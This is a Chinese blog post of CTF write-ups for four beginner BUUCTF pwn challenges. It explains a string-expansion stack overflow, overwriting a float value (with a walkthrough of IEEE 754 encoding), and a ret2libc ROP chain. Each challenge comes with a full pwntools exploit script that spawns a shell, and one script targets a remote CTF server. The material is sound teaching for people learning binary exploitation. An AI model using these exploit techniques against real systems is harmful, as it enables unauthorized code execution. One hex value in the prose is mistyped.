zoukankan      html  css  js  c++  java
  • &pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&

      在做buu题目的时候,发现在最上面有几道被各位师傅打到1分的题,强迫症逼迫我去做那几道题。

      这里来试着去解决这些题。。。讲真的,我感觉自己刷题真的少,即使是很简单的栈题目,我还是能学习到新的东西。这里就记录一下这几道题。

      pwn1_sctf_2016

      检查了一下保护,32位程序,只开启了堆栈不可执行。直接ida看一下伪代码吧。

      看代码也就是一个简单的栈溢出。但是我并没有自己做出这道题,太菜了。。。大一下学期我们有开设C++这门课,但是我由于一些事情,在家休息了一个多月,结果课也落下了。。。太痛苦了,C++吃亏在这里了,总要补的。。。

      其实这个CTF就应该半分做,半分蒙。可以看到fgets是对我们输入的内容进行了限制,所以我们不能溢出到返回地址,但是可以看到两个字符串“I”和“you”,其实应该输入这几个字符串进去看看是什么意思的。

      这里其实是一个回显,但是你如果输入“I”的话,就会给你自动转换成you,所以就解决溢出不到返回地址的问题了。接下来就是计算了。题目本身有可以直接拿shell的函数,直接返回地址转到那个shell 的地址就行了。还是羞耻的贴一下exp:

      

     1 from pwn import *
     2 
     3 p = process('./1')
     4 context.log_level = 'debug'
     5 
     6 shell_addr = 0x08048F0D
     7 
     8 payload = 'I'*21 + 'b' + p32(shell_addr)
     9 p.sendline(payload)
    10 p.recv()
    11 p.recv()

      

      ciscn_2019_n_1

      64位程序,保护只开启了堆栈不可执行。

      老套路,IDA看一下伪代码。

      

      可以看到这里gets是可以进行溢出的,但是这道题我们没有必要进行溢出,只要覆盖到v2,让v2==11.28125就可以了。

      接下来就是要明白浮点数如何在内存中表示了。

      所以11.28125用二进制表示的话,就是1011.01001,但是计算机可不会知道哪里有小数点,计算机只会识别01,至于这些01表示什么,那是由人定义的。就像这里,人们把这个定义为浮点数,当呈现在我们面前的时候,就是按照浮点数给我解释的。

      一个浮点数占有四个字节,一个字节由两个四位二进制数表示,那么大概就是这么个意思。

      xxxxxxxx xxxxxxxxx xxxxxxxx xxxxxxxx

      每个x都是占一个位,而对于浮点是计算机是怎么进行解释的呢?

          如你所见,32位每一位都有意义。

      符号位(Sign) : 0代表正,1代表为负

      指数位(Exponent):用于存储科学计数法中的指数数据,并且采用移位存储。

      尾数部分(Mantissa):尾数部分

      还是拉回来,看1011.01001 = 1011.01001*2的0次方 == 1.01101001*2的3次方

      因为是正数,所以符号位为0

      指数为127+1==128,127是一个偏移,这个偏移是由于说这个指数可能是负数,用这个指数位的时候需要先减去127再用,所以这里是127。(你或许没有听懂...大概意思有个组织这么规定了指数的正负)3就就是上面2的次方。

      再看尾数部分,尾数部分是01101001,接下来我们试着来写一下这个二进制数

      0    1000 0010    0110 1001 0000 0000 0000 000

      所以连起来就是01000001001101001000000000000000

      转换成16进制就是0x4134800,所以我们把V2的位置覆盖成这个数字就行了。

      贴一下exp:

    1 from pwn import *
    2 
    3 p = process('./ciscn_2019_n_1')
    4 elf = ELF('./ciscn_2019_n_1')
    5 context.log_level = 'debug'
    6 
    7 payload = 'a'*(0x30-4) + p64(0x41348000)
    8 p.sendlineafter('number.
    ',payload)
    9 p.recv()

      

      ciscn_2019_c_1  /   ciscn_2019_en_1

      感觉两道题长得一模一样。。。用一个exp都打通了。

      检查保护,64位程序,只开启了堆栈不可执行。

      emmmmmmm,简单的rop,溢出leaklibc然后拿到shell。

      用system拿不到shell,用one_getgad可以。

      直接贴exp了:

      

     1 from pwn import *
     2 
     3 #p = process('./ciscn_2019_c_1')
     4 p = remote('node3.buuoj.cn',27137)
     5 elf = ELF('./ciscn_2019_c_1')
     6 context.log_level = 'debug'
     7 
     8 pop_rdi = 0x00400c83
     9 sh = 0x0040045c
    10 puts_plt = 0x004006E0
    11 puts_got = elf.got['puts']
    12 start = elf.symbols['_start']
    13 #start = 0x0004009A0  //encry fun 
    14 
    15 p.sendlineafter('choice!
    ','1')
    16 payload = 'a'*0x50 + 'bbbbbbbb'
    17 payload += p64(pop_rdi) + p64(puts_got)
    18 payload += p64(puts_plt) + p64(start)
    19 p.sendlineafter('encrypted
    ',payload)
    20 sleep(0.1)
    21 p.recv(0x67)
    22 puts_addr = u64(p.recv(6).ljust(8,'x00'))
    23 print hex(puts_addr)
    24 base_addr = puts_addr - 0x0809c0
    25 system_addr = base_addr + 0x04f440
    26 binsh_addr = base_addr + 0x1b3e9a
    27 shell_addr = base_addr + 0x4f322
    28 
    29 sleep(0.1)
    30 p.sendlineafter('choice!
    ','1')
    31 payload = 'a'*0x50 + 'bbbbbbbb'
    32 payload += p64(shell_addr)
    33 p.sendlineafter('encrypted
    ',payload)
    34 sleep(0.1)
    35 p.recv()
    36 p.interactive()
    37 
    38 '''
    39 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    40 constraints:
    41   rsp & 0xf == 0
    42   rcx == NULL
    43 
    44 0x4f322 execve("/bin/sh", rsp+0x40, environ)
    45 constraints:
    46   [rsp+0x40] == NULL
    47 
    48 0x10a38c execve("/bin/sh", rsp+0x70, environ)
    49 constraints:
    50   [rsp+0x70] == NULL
    51 '''
  • 相关阅读:
    iconfont 引入后没有显示
    使用element-ui库时浏览器出现异常汉字(代码里找不到该汉字)
    ElementUI select 把整个option(对象)作为值
    不让浏览器history后退前进
    从IE浏览器链接跳转到谷歌浏览器方法
    mddir 可以生成项目工程结构
    Element-UI select 新加全部与多选互斥选择
    H5 video 常用属性
    a链接跳转报错 status为 canceled的解决办法
    学习计划与记录
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12653991.html
Copyright © 2011-2022 走看看